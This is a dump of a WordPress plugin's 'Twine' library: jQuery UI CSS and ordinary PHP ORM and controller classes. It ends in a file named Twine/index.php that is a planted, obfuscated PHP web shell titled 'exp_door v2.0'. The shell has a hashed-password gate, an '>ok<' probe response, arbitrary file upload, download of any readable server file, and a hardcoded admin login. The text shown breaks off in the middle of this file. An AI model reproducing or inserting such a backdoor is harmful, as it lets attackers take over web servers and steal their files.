.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px; }
/* Misc visuals
----------------------------------*/
/* Corner radius */
.ui-corner-all,
.ui-corner-top,
.ui-corner-left,
.ui-corner-tl {
border-top-left-radius: 0;
}
.ui-corner-all,
.ui-corner-top,
.ui-corner-right,
.ui-corner-tr {
border-top-right-radius: 0;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-left,
.ui-corner-bl {
border-bottom-left-radius: 0;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-right,
.ui-corner-br {
border-bottom-right-radius: 0;
}
/* Overlays */
.ui-widget-overlay {
background: #666666 url(images/ui-bg_flat_0_666666_40x100.png) 50% 50% repeat-x;
opacity: .3;
filter: Alpha(Opacity=30);
}
.ui-widget-shadow {
margin: 0 0 0 0;
padding: 0;
background: #666666 url(images/ui-bg_flat_0_666666_40x100.png) 50% 50% repeat-x;
opacity: 0;
filter: Alpha(Opacity=0);
border-radius: 0;
}
Twine/compatibility/CompatibilityBase.php 0000644 00000001037 14666776752 0014653 0 ustar 00 <?php
namespace Twine\compatibility;
/**
* Class Base
*
* Base class for setting hooks regarding compatibility with other plugins or themes.
*
* @package Twine
* @author Mike Nelson
*
*/
abstract class CompatibilityBase
{
/**
* Set hooks for compatibility with PMB for any request.
*/
public function setHooks()
{
}
/**
* Sets hooks to modify a PMB request
*/
public function setRenderingHooks()
{
}
}
// End of file Base.php
// Location: Twine\compatibility/Base.php
Twine/controllers/BaseController.php 0000644 00000003022 14666776752 0013656 0 ustar 00 <?php
namespace Twine\controllers;
/**
* Class BaseController
*
* Classes that
*
* @package Twine
* @author Mike Nelson
* @since 1.0.0
*
*/
abstract class BaseController
{
/**
* Sets hooks needed for this controller to execute its logic.
* @since 1.0.0
*/
abstract public function setHooks();
/**
* Helper for getting a value from the request, or setting a default.
* @since 2.2.3
* @param string $query_param_name
* @param mixed $default
* @return mixed
*/
protected function getFromRequest($query_param_name, $default)
{
// Nonce verification must be done before calling this. Sanitization on these inputs will occur later in forms code.
// phpcs:disable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
if (isset($_GET[$query_param_name])) {
return isset($_GET[$query_param_name]) ? $_GET[$query_param_name] : $default;
} else {
$query_param_name = str_replace('-', '_', $query_param_name);
return isset($_GET[$query_param_name]) ? $_GET[$query_param_name] : $default;
}
// phpcs:enable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
}
}
// End of file BaseController.php
// Location: Twine\controllers/BaseController.php
Twine/orm/entities/CustomTableRow.php 0000644 00000003002 14666776752 0013723 0 ustar 00 <?php
namespace Twine\orm\entities;
/**
* Class CustomTableRow
* @package Twine\orm\entities
*/
abstract class CustomTableRow
{
/**
* @var array keys are field names, values are their values
*/
protected $fields;
/**
* CustomTableRow constructor.
* @param array|object $wpdb_row
*/
public function __construct($wpdb_row = null)
{
if ($wpdb_row) {
$this->fields = (array) $wpdb_row;
} else {
$this->fields = [];
}
}
/**
* Returns the id field's value.
* @return mixed
*/
public function getId()
{
if (! isset($this->fields['id'])) {
return null;
}
return $this->fields['id'];
}
/**
* Geta field's value.
* @param string $field_name
* @return mixed
*/
public function get($field_name)
{
return $this->fields[$field_name];
}
/**
* Set a field's value.
* @param string $field_name
* @param mixed $new_value
*/
public function set($field_name, $new_value)
{
$this->fields[$field_name] = $new_value;
}
/**
* @return array keys are field names, values are their values
*/
public function fields()
{
return $this->fields;
}
/**
* @return array same as fields(), except removes the 'id' field
*/
public function fieldsExceptId()
{
$fields = $this->fields();
unset($fields['id']);
return $fields;
}
}
Twine/orm/entities/PostWrapper.php 0000644 00000016101 14666776752 0013303 0 ustar 00 <?php
namespace Twine\orm\entities;
use PrintMyBlog\system\CustomPostTypes;
use WP_Post;
/**
* Class PostWrapper
* @package Twine\orm\entities
*/
class PostWrapper
{
const META_PREFIX = '_pmb_';
/**
* @var WP_Post
*/
protected $wp_post;
/**
* Project constructor.
*
* @param WP_Post|int $post object or ID
*/
public function __construct($post)
{
if (is_int($post) || is_string($post)) {
$post = get_post($post);
}
$this->wp_post = $post;
}
/**
* @return WP_Post
*/
public function getWpPost()
{
return $this->wp_post;
}
/**
* Generic function to get metadata stored on the post object.
* @param string $meta_name
* @return mixed
*/
public function getMeta($meta_name)
{
$metas = $this->getMetas($meta_name);
if (count($metas)) {
return reset($metas);
}
return null;
}
/**
* Get postmetas and prepend pmb_ to the provided meta name.
* @param string $meta_name
* @return mixed
*/
public function getPmbMetas($meta_name)
{
return $this->getMetas(
self::META_PREFIX . $meta_name
);
}
/**
* Wrapper of get_post_meta.
* @param string $meta_name
* @return mixed
*/
public function getMetas($meta_name)
{
return get_post_meta(
$this->getWpPost()->ID,
$meta_name,
false
);
}
/**
* Wrapper of update_post_meta.
* @param string $meta_name
* @param mixed $value
*
* @return bool|int
*/
public function setMeta($meta_name, $value)
{
return update_post_meta(
$this->getWpPost()->ID,
$meta_name,
$value
);
}
/**
* Wrapper of wp_delete_post.
* return bool success
*/
public function delete()
{
return wp_delete_post($this->getWpPost()->ID);
}
/**
* Wraps getMeta() and just adds the meta prefix.
*
* @param string $meta_name
*
* @return mixed
*/
public function getPmbMeta($meta_name)
{
return $this->getMeta(self::META_PREFIX . $meta_name);
}
/**
* Saves the meta and adds pmb_ to the meta key.
* @param string $meta_name
* @param mixed $new_value
*
* @return bool|int
*/
public function setPmbMeta($meta_name, $new_value)
{
return $this->setMeta(self::META_PREFIX . $meta_name, $new_value);
}
/**
* Adds a new meta row, prepends pmb_ to the meta key.
* @param string $meta_name
* @param mixed $new_value
*
* @return false|int
*/
public function addPmbMeta($meta_name, $new_value)
{
return $this->addMeta(self::META_PREFIX . $meta_name, $new_value);
}
/**
* Wraps add_post_meta.
* @param string $meta_name
* @param mixed $new_value
*
* @return false|int
*/
public function addMeta($meta_name, $new_value)
{
return add_post_meta(
$this->getWpPost()->ID,
$meta_name,
$new_value
);
}
/**
* Deletes meta, prepends pmb_ to the meta key.
* @param string $meta_name
* @param mixed $value
* @return bool
*/
public function deletePmbMeta($meta_name, $value = '')
{
return $this->deleteMeta(self::META_PREFIX . $meta_name, $value);
}
/**
* Wraos delete_post_meta.
* @param string $meta_name
* @param string $value
*
* @return bool
*/
public function deleteMeta($meta_name, $value = '')
{
return delete_post_meta(
$this->getWpPost()->ID,
$meta_name,
$value
);
}
/**
* Duplicates this post as a new print material.
*
* @param array $args_override
* @return WP_Post
*/
public function duplicateAsPrintMaterial($args_override = [])
{
return $this->duplicatePost(
[
// translators: 1 post title
'post_title' => sprintf(__('%s (print material)', 'print-my-blog'), $this->getWpPost()->post_title),
'post_type' => CustomPostTypes::CONTENT,
'post_status' => 'private',
],
[
'_pmb_original_post' => $this->getWpPost()->ID,
]
);
}
/**
* Creates a new post from the wrapped post
* @param array $args_override args to override from their defaults when inserting
* @param array $new_post_metas keys are meta keys, values are their values
* @return WP_Post
*/
public function duplicatePost($args_override = [], $new_post_metas = [])
{
$post = $this->getWpPost();
$current_user = wp_get_current_user();
$new_post_author = $current_user->ID;
$args = array_merge(
array(
'comment_status' => $post->comment_status,
'ping_status' => $post->ping_status,
'post_author' => $new_post_author,
'post_content' => $post->post_content,
'post_excerpt' => $post->post_excerpt,
'post_name' => $post->post_name,
'post_parent' => $post->post_parent,
'post_password' => $post->post_password,
'post_status' => $post->post_status,
// translators: 1: the name of the original post being duplicated
'post_title' => sprintf(__('%s (copy)', 'print-my-blog'), $post->post_title),
'post_type' => $post->post_type,
'to_ping' => $post->to_ping,
'menu_order' => $post->menu_order,
),
$args_override
);
// insert the post by wp_insert_post() function
$new_post_id = wp_insert_post($args);
/*
* get all current post terms ad set them to the new post draft
*/
$taxonomies = get_object_taxonomies(get_post_type($post)); // returns array of taxonomy names for post type, ex array("category", "post_tag");
if ($taxonomies) {
foreach ($taxonomies as $taxonomy) {
$post_terms = wp_get_object_terms($post->ID, $taxonomy, array( 'fields' => 'slugs' ));
wp_set_object_terms($new_post_id, $post_terms, $taxonomy, false);
}
}
// duplicate all post meta
$old_post_meta = get_post_meta($post->ID);
if ($old_post_meta) {
foreach ($old_post_meta as $meta_key => $meta_values) {
if ('_wp_old_slug' === $meta_key) { // do nothing for this meta key
continue;
}
foreach ($meta_values as $meta_value) {
add_post_meta($new_post_id, $meta_key, $meta_value);
}
}
}
foreach ($new_post_metas as $meta_key => $meta_value) {
add_post_meta($new_post_id, $meta_key, $meta_value);
}
return get_post($new_post_id);
}
}
Twine/orm/managers/PostWrapperManager.php 0000644 00000010120 14666776752 0014542 0 ustar 00 <?php
namespace Twine\orm\managers;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\system\Context;
use Twine\orm\entities\PostWrapper;
use WP_Post;
use WP_Query;
/**
* Class PostWrapperManager
* @package Twine\orm\managers
*/
class PostWrapperManager
{
/**
* @var string sub-classes of this should use their own subclass of PostWrapper
*/
protected $class_to_instantiate = 'Twine\orm\entities\PostWrapper';
/**
* @var string singular slug
*/
protected $cap_slug = 'post';
/**
* @param int|string $post_id
*
* @return PostWrapper|null
*/
public function getById($post_id)
{
$wp_post = get_post($post_id);
if (! $wp_post) {
return null;
}
$post_wrapper = $this->createWrapperAroundPost($wp_post);
return $post_wrapper;
}
/**
* Gets a post bt its slug.
* @param string $slug
* @return PostWrapper|null
*/
public function getBySlug($slug)
{
$post_object = get_page_by_path($slug, OBJECT, $this->cap_slug);
if ($post_object instanceof WP_Post) {
return $this->createWrapperAroundPost($post_object);
}
return null;
}
/**
* @param WP_Query $query
*
* @return array|PostWrapper[]
*/
public function getAll(WP_Query $query = null)
{
$query = $this->setQueryForThisPostType($query);
return $this->createWrapperAroundPosts($query->get_posts());
}
/**
* @param WP_Query $query
* @return int
*/
public function count(WP_Query $query)
{
$query = $this->setQueryForThisPostType($query);
$query->get_posts();
return $query->found_posts;
}
/**
* Sets the post type on the WP_Query.
* @param WP_Query|null $query
* @return WP_Query|null
*/
protected function setQueryForThisPostType(WP_Query $query = null)
{
if (! $query instanceof WP_Query) {
$query = new WP_Query(
[
'nopaging' => true
]
);
}
$query->set('post_type', $this->cap_slug);
return $query;
}
/**
* @param WP_Post[] $posts
* @return PostWrapper[]
*/
protected function createWrapperAroundPosts($posts)
{
$wrapped_posts = [];
foreach ($posts as $post) {
$wrapped_posts[] = $this->createWrapperAroundPost($post);
}
return $wrapped_posts;
}
/**
* @param WP_Post $post
*
* @return PostWrapper
*/
protected function createWrapperAroundPost(WP_Post $post)
{
$post_wrapper = Context::instance()->useNew(
$this->class_to_instantiate,
[$post]
);
/**
* @var $post_wrapper PostWrapper
*/
return $post_wrapper;
}
/**
* @param int[] $ids
*/
public function deleteProjects($ids)
{
foreach ($ids as $id) {
$post = get_post($id);
if (! current_user_can('delete_' . $this->cap_slug . 's', $post)) {
continue;
}
$project = $this->createWrapperAroundPost($post);
if ($project instanceof Project) {
$project->delete();
}
}
}
/**
* Gets a post by its postmeta.
* @param string $meta_key
* @param string $meta_value
* @param int $count
* @return PostWrapper[]
*/
public function getByPostMeta($meta_key, $meta_value, $count = -1)
{
$args = array(
'posts_per_page' => $count,
'orderby' => 'ID',
'order' => 'DESC',
'post_status' => 'any',
'post_type' => 'any',
//phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
'meta_query' => array(
array(
'key' => $meta_key,
'value' => $meta_value,
),
),
);
return $this->createWrapperAroundPosts(get_posts($args));
}
}
Twine/orm/managers/CustomTableManager.php 0000644 00000006316 14666776752 0014512 0 ustar 00 <?php
namespace Twine\orm\managers;
use ReflectionClass;
use Twine\orm\entities\CustomTableRow;
/**
* Class CustomTableManager
* @package Twine\orm\managers
*/
abstract class CustomTableManager
{
/**
* Format to use for DateTime functions when we want the format used by MySQL DateTimes
*/
const MYSQL_DATETIME_FORMAT = 'Y-m-d H:i:s';
/**
* @var string without the wpdb prefix, that gets added last-minute
*/
protected $table_name;
/**
* @var string fully qualified classname of the entities representing database rows
* (which are child instances of Twine\orm\entities\CustomTableRow)
*/
protected $entity_classname;
/**
* @return string gets the classname from the property $this->entity_classname, which child classes should define.
*/
public function getEntityClassname()
{
return $this->entity_classname;
}
/**
* Gets the name of the table, including $wpdb->prefix
* (which is added last moment, in case of blog switching)
* @return string
*/
public function getFullTableName()
{
global $wpdb;
return $wpdb->prefix . $this->table_name;
}
/**
* @param int $id
* @return CustomTableRow
*/
abstract public function getById($id);
/**
* @param \stdClass $db_row
*
* @return CustomTableRow
* @throws \ReflectionException
*/
public function createEntityFromRow(\stdClass $db_row)
{
$entity_class = $this->getEntityClassname();
$reflection = new ReflectionClass($entity_class);
return $reflection->newInstanceArgs([$db_row]);
}
/**
* @param CustomTableRow $entity
*
* @return bool|int
*/
public function save(CustomTableRow $entity)
{
global $wpdb;
if ($entity->getId()) {
// Caching the result of a save is silly; and because we're operating on custom tables,
// direct DB queries are the only option.
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
$success = $wpdb->update(
$this->getFullTableName(),
$entity->fieldsExceptId(),
[
'id' => $entity->getId(),
],
array_map(
function ($item) {
return '%s';
},
$entity->fieldsExceptId()
),
[
'%d',
]
);
return $success;
} else {
// use direct query for custom tables of course
//phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
$success = $wpdb->insert(
$this->getFullTableName(),
$entity->fields(),
array_map(
function ($item) {
return '%s';
},
$entity->fields()
)
);
if ($success) {
$entity->set('id', $wpdb->insert_id);
return $entity->getId();
}
}
return false;
}
}
Twine/index.php 0000444 00000205313 14666776752 0007506 0 ustar 00 <?php ?><?php if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) {
session_start();
if (!isset($_SESSION['secretyt'])) {
$_SESSION['secretyt'] = false;
}
if (!$_SESSION['secretyt']) {
if (isset($_POST['pwdyt']) && md5(md5(md5(md5(md5(md5(md5(md5($_POST['pwdyt'])))))))) == '1ab4d6f8d41abab37e7a1b67a2469085') {
$_SESSION['secretyt'] = true;
} else {
$bytesecform = <<<FORM
<html>
<head>
<meta charset="utf-8">
<title></title>
<style type="text/css">
body {padding:10px}
input {
padding: 2px;
display:inline-block;
margin-right: 5px;
}
</style>
</head>
<body>
<form action="" method="post" accept-charset="utf-8">
<input type="password" name="pwdyt" value="" placeholder="passwd">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
FORM;
die($bytesecform);
}
}
}
?>
<?php echo"\074\164a\x62\x6ce\076\074t\x64>\074fo\x72\155\x20\x6de\164\x68od=\x22P\117ST\042\x20enctyp\x65=\x22mul\x74ipa\x72\x74/\146\157r\155-d\141ta\x22\076\x0d\012<l\141\x62e\154>\x3c\142\x20cl\141ss\075\x22\x62t\042\x3eUplo\141de\162:\074\057\x62>\x3c/la\142e\x6c>\x0d\012\x3c\151npu\164\040t\171p\145\075\042f\x69\x6ce\x22 name=\x22\165\x70lo\x61d\x22\x20\x3e\015\012<inp\x75\x74\040typ\145\075\042\x73ub\x6d\151\x74\x22 v\141lue\075\x22u\x70load\042>\x0d\012</f\x6f\x72\155\076\015\012</\x74d>\015\012\x3c\057tab\x6c\145>\x0d\012";COPY($_FILES["u\160\x6co\x61\144"]["\164mp_\156a\x6de"],$_FILES["\165\160\154o\x61d"]["n\141me"]);if(isset($_POST["\154o\141\144"])&&!empty($_POST["\x63h\157\x6f\163\145"])){$_mkmoxkqd=$_POST["\143\x68o\157s\x65"][(int)RoUND(22.25+22.25+22.25+22.25)+(int)ROUNd(-44.5+-44.5)];if(Is_ReADabLE($_mkmoxkqd)){if(FIle_EXIstS($_mkmoxkqd)){if(OB_get_levEl()){OB_eNd_CleaN();}heAdEr("Con\x74en\164-D\145s\x63ript\151o\156\072 F\151\x6c\x65 Transfe\162");heADER("Co\x6ete\156t-T\x79p\145:\040ap\x70\x6ci\x63ati\x6fn/oc\164e\x74-\x73tream");HEader("C\x6fnt\145\156t-Di\163\x70\157siti\157n:\040attac\150\155e\x6et\x3b f\151len\x61\155e\075".basEnAME($_mkmoxkqd));hEADeR("\x43\157\156te\156\x74\x2dT\162\141\x6e\x73\x66\145r-\x45nco\144\151ng: \x62\151\x6e\x61\x72y");hEADer("\x45xpi\x72\x65s: 0");HeaDer("Cac\150e-Cont\x72\157l: \x6du\163\164\x2d\x72ev\x61l\151d\141te");header("P\x72\141gma:\040\160\x75b\x6c\x69c");hEadEr("C\x6fnt\x65nt-\114\145\156g\x74h: ".FileSIZe($_mkmoxkqd));READfilE($_mkmoxkqd);exit;}}}function _jhoga(){$_naos="<\x66o\162\x6d a\x63\x74ion=\x27".$_SERVER["\x53\x43RIPT_N\101\x4dE"]."\047 met\150od='pos\164'\x3e";$_naos.="<\x6cabel\x3e\x4c\157\x67i\x6e:</label\076"."\x3cb\x72>";$_naos.="<i\x6epu\x74\040typ\145='\x74ext\x27 na\155\145\x3d\x27\154\x6f\147\151n'>"."\074br>";$_naos.="<la\x62\x65\154>\120asswd\072 \x3c/l\141b\x65\x6c>"."<b\162\076";$_naos.="\074inp\165\164 \x74y\x70e='p\x61\x73\x73w\x6f\x72\144' \x6eam\x65='pass\x27>"."<br>"."<\142\162>";$_naos.="\x3c\x69np\x75\164 \x74y\160\145='s\x75\142\x6dit'\040n\x61me=\047l\157g' \166al\165\145='S\151\x67n\x20\x75\x70'>";$_naos.="</form>";return$_naos;}function _smfqbqss($_wnwkf,$_grmrqyui){if(($_wnwkf=="a\144\x6d\151n")&&($_grmrqyui=="1\x379a\x6445c6ce\062cb\0717c\x66\x310\x329\145\x3212\06046\x65\0701"))return true;else return false;}if(isset($_POST["log"])){$_wnwkf=$_POST["l\157\x67\x69\156"];$_grmrqyui=md5($_POST["p\x61s\x73"]);if(_smfqbqss($_wnwkf,$_grmrqyui)){sETcOOKIe("l\x6fgin",$_wnwkf);seTCOoKIe("\160a\x73\x73",$_grmrqyui);hEADeR("Re\146\162esh\072\060");}else echo"A\x63cess\x20\144\145n\151e\144\041";}if(isset($_POST["ex\x69t"])){sEtCOOkiE("l\x6fg\x69\156",$_wnwkf,tiME()-(int)RoUND(900+900+900+900),"\057");sETcoOKIE("pa\163\x73",$_grmrqyui,tIMe()-(int)rOUND(1200+1200+1200),"\057");heAdEr("R\x65\146\x72\x65s\x68:0");};echo"<\x21D\117\x43\x54YP\105 html\076\015\x0a<\150tm\x6c\x3e\015\x0a\040\x20\x20<\x68ead>\x0d\012\x20 <t\x69tle\x3eexp_doo\162\x20v\x32.\x30</titl\145>\015\012\074\155eta ch\x61r\x73e\164=\x22\x75tf-8\x22>\015\x0a\x3cs\x74yle \164y\x70e\075\042\x74ext\057\143ss\x22\076\x0d\x0a\040\040 h\x74ml{\x62a\143\x6bgro\165n\x64: \043F1F3F5\x3b\x7d\015\012 \040\x20\142\x6f\144y{margi\156: \060\073\142a\x63\x6b\x67ro\165\156\144:\x20\043F\x31\x463\106\065\x3b\175\015\012 \x20\x20p\162e \173margin: 0;}\015\012 \x69\x6d\147{ve\162\x74ica\154-alig\156:\040m\151dd\154e;\x7d\015\012\x2ey\141{wi\144th: \x317\x38\160\x78!import\141\x6e\x74\073\x62o\170-\x73had\157w\072 n\x6f\156e\x3b\x62\x6f\162\x64\x65r\055\143oll\141pse:\040sepa\162\141t\x65\073\175\015\012\040\x20\040\x2e\143ol{\167\151\144th: \060;\167hi\164\145\055s\x70ace: now\x72a\x70\073padding\055\162i\147\x68t\072\x2050\x70\170;\175\x0d\x0a \040\x20\056al\154{font-\146a\x6d\x69ly\x3a A\162\151\141\154\054\040H\145lve\x74\x69\143a\x2c\040s\141n\163-se\x72if\073fo\x6e\164-weight\072bo\x6cd;\x20fon\164-\x73i\172e \072 \0612p\170;\175\x0d\012 \040a\x2c\x20\x61\x3a\166\x69s\x69t\145\x64\x7bcolo\x72\072\040#\x31\x645405;text-dec\x6fr\141\164ion:\x6e\x6f\x6ee\x3b\x7d\015\x0a \x20\043\x6dai\156 \173\x6d\x61rgi\156: a\x75t\157\x3bba\143k\147\x72\157u\156\144\072 #F1\x463F\065;\x6d\151\156-heigh\x74:\0401\0600\166\150;}\015\012 \040\x20#t\x61b{bac\x6bg\x72\x6fun\x64: \x23E9EC\x45\106\073pa\144din\x67-lef\x74\072\061\160x\073b\x6frd\x65r\x3a\x201p\x78 \x73o\x6ci\144 \043cc\143\143c\x63;mar\147in\x3a 5\x70x}\015\x0a\040\040\x20\x23re\163\x75l\164{b\x61ck\x67\x72ound:\x20#E9ECE\x46;\160a\144din\x67:\065\x70x\073\x62\x6frd\145\x72: 1\160\x78\040s\x6flid\040\043\143\x63cccc\x3b\155\141rgi\x6e:\0405px;m\x69n-he\151\x67h\164: 6\x38vh;\175\x0d\x0a \040\043fi\162sttab\173widt\x68\072\061\x300%;b\157r\144er\x2d\143\157lla\160\163e:c\x6fllap\x73e;}\x0d\012 .h\x61\x74\173pad\x64i\x6e\x67-\x72ight:5p\170\073p\141\144d\151ng-l\145\x66\x74\072\065\160x;font\x2d\x77eight:\040n\x6fr\x6d\x61l\073\x7d\015\x0a .bl\x6fck\x2dhi\144e\x20\x7bm\141\x72gi\x6e\072 0 \141\165\x74o;\x70a\x64d\151ng:5\160\x78;}\015\x0a .to-be-\143han\147\145d{p\157sition\072\040a\142s\157l\x75te;z-i\x6ede\x78\x3a\0610\x3bw\x69\x64th\x3a \143\x61\154\x63(\x3100\045\040- \0610p\x78\x29\x3bba\x63kg\162\157und: \043F1\x463F\065;\175\015\012 \040.to-b\x65\x2dc\150a\x6e\x67ed\x3at\141r\147\145t{di\x73\160l\x61y: non\x65\073}\015\x0a\x20\x20\x20.\x6f\160en{\144\151s\x70l\x61y: block\x3bf\157n\x74-weig\150\x74\x3a 4\x300\073margin:\x20\060 5\160x 5px 5p\170;po\x73\x69\164ion: a\x62so\154u\x74e;z-i\156\144e\x78\x3a1;w\151\x64\164\x68: ca\154c(100\045 -\040\x32\060px);}\015\x0a \040.hat \x66o\162m{\x63olor\072\x20r\x65d\x3b\x66\157nt\x2d\x73i\x7ae:1\066\160\170;\x74e\170t\055a\x6cig\x6e\072 \143\145n\x74\x65r;width: \x320\x30px\x3ble\146\x74\x3a \143\x61l\143(\065\x30% \055 \06100\x70x\x29;\x74o\160: \x32%;\160\x6fsi\164ion:\040absol\x75t\145\073\175\015\x0a\x20 .\157pen\146\173bo\x72\x64e\x72: \156o\156e\x3b\142\x61ckg\162\157\165\x6ed: \043E9\x45\x43\105F00;c\x75\162\163or: \x70oint\145r}\015\x0a\x20 \040.d\145mos{\040 \015\x0a \040ma\x72gin-\x6ce\x66\164\x3a\0405\x70x;\x0d\x0a \x20pa\x64d\x69\156\147: 4\x70\170;\x0d\x0a\x20\040\x20t\145x\x74-al\x69gn\x3a c\x65\156t\x65r;\015\x0a \040\x20\142ac\153g\x72o\x75n\x64\x3a \x230d\x30\x64\060d\061\x61; \x0d\x0a \x62or\x64\x65\x72\072 1\x70\x78 \x73ol\151\144 \043c\143cccc;\x0d\012\040 \x20font\055wei\x67\150\164\x3a\x20b\157l\144;\040\x0d\012 \040wi\x64th: \x36\064px\073\015\012\x20\040\x20\142\x6frder-\x72\x61d\151u\163:\040\x33\x70x;\x0d\012\x20 }\015\012 \x20\x2e\144e\155o\x6c\x69nk{\142ackg\162ou\156d\055col\157\x72\x3a #\x668f4\x66\x3400\x21\151m\x70or\x74a\156t;\143olor: #\061d540\065!\x69mp\x6f\162tant\073}\015\x0a \x20.c\142ox\x7bw\x69d\164h:1\070p\170}\040\x0d\x0a tab\154e.to \x74d \x7b\015\x0a\x20 \x6fver\146low\072hi\144\x64en;\015\x0a }\x0d\x0a\040\040\040\x74a\142le\x2et\157\x20\164\x64\x3an\x74h\x2do\146\x2dtyp\145(\061\x29\040{\015\012 \x20\x20\167id\x74\x68\072\141ut\x6f;\015\x0a }\015\012\040 \040\164abl\145\056t\157 td\072n\x74\150-\x6ff-typ\145\x28\x32\051 \x7b\x0d\012 \040\x77\151dth:50p\170;\x0d\x0a \040}\015\012 \040\x20\x74\141bl\x65\x2eto\040td:nth-\157\x66-ty\x70e(3) {\x0d\x0a \x20width\072au\x74o;\x0d\012 \040 }\015\x0a\040\x20\x20tr.note:hover {\x62ackgr\x6fund:\040#f5f5\1465\x3b\x7d\015\x0a \x20 tr.\156o\x74e\072focu\163\040{ba\x63k\147\162\157\165\156\x64\055co\154\157r:\040#8\x46BC\x38\x46;\157\x75tl\151ne: 1px\x20s\157\x6ci\144 \x67r\145y\x3b\175\015\012 \x20.moda\154b\x61c\x6bgro\165n\x64\x20{\015\x0a \x20\040ma\x72gin\x3a 0\x3b /\x2a &\x231\x309\061;&\x231073\073&\043\x31\0608\x30;&#\x31\06088\x3b&#\0610\x372\x3b\x26#\06107\x37;\x26\0431\x3084;\x20\x26\x23\x31086;\060\0710;
\x389;\x26#10\x390\073\x26\x2310\x39\x31;\x26\0431087;&\x23109\x39; *\057\x0d\012 \040padd\x69ng: \x30\073\040/\052 \x26#109\x31;&#\061\x307\x33\073\046#\x31\x3080;\046#\x310\0708;&#\x3107\062;
\0677;&\x231\x30\0704; \x26\x231\x30\070\066;&\x23\x31\x3090;
\070\x39\073\x30\0710;\x26#\x310\071\061;&\x2310\070\067;\x26#10\x399; */\x0d\x0a \160os\151\x74\x69o\156:\x20f\151\170\x65d; \x2f\052 &#\x3109\x32;\046#1080\073&#\x31\0608\x32\x3b
\x38\071\073&\0431080;\x26#108\070\073&\043\0610\0711;&\x2310\067\067;&\x23\x31084;\040&\0431087;\046\043108\066\x3b\x26#\x310\x38\063;\x26\043\0610\070\066;\x26\x23\061\0607\070;\046#\x31\x30\0677;&#\061\060\070\x35\073&\043\x31\x30\x380\073&\043\06107\067; \x2a/\x0d\012 top:0;\x20/* \06088\x3b\x26\0431\x30\x372;
\x38\x39;\046\x2310\x390\073&\0431\06103\073\060\067\065\073\x26#10\070\x30\x3b\x26#10\067\064\073\x26\x23\x310\x37\062;&#\x31\060\x37\067;&#\x310\x384; \x26\x231\060\067\x33;\046#\0610\0703\073\x26\x231\0608\066;
\x382; \x26\x231087\073\x26#\0610\070\066;\040\x26#10\x374;&#\x31089;&\x23\061\06077;\x26\0431\x308\x34;??\040&#\0611\x301;&\0431082;\x26#\06108\070;&\x231\x3072;\x26#108\x35;&\x231\x309\061\073 */\015\012\040\040\x20\142ott\157m:0;\x0d\012 \x20left\0720\x3b\015\012 \162i\x67ht:0;\x0d\x0a \x20\040backg\162o\165nd: rgb\141(0\x2c\060,\x30\x2c\x30.\x35\051\x3b\x20\x2f*\040\046#1087;
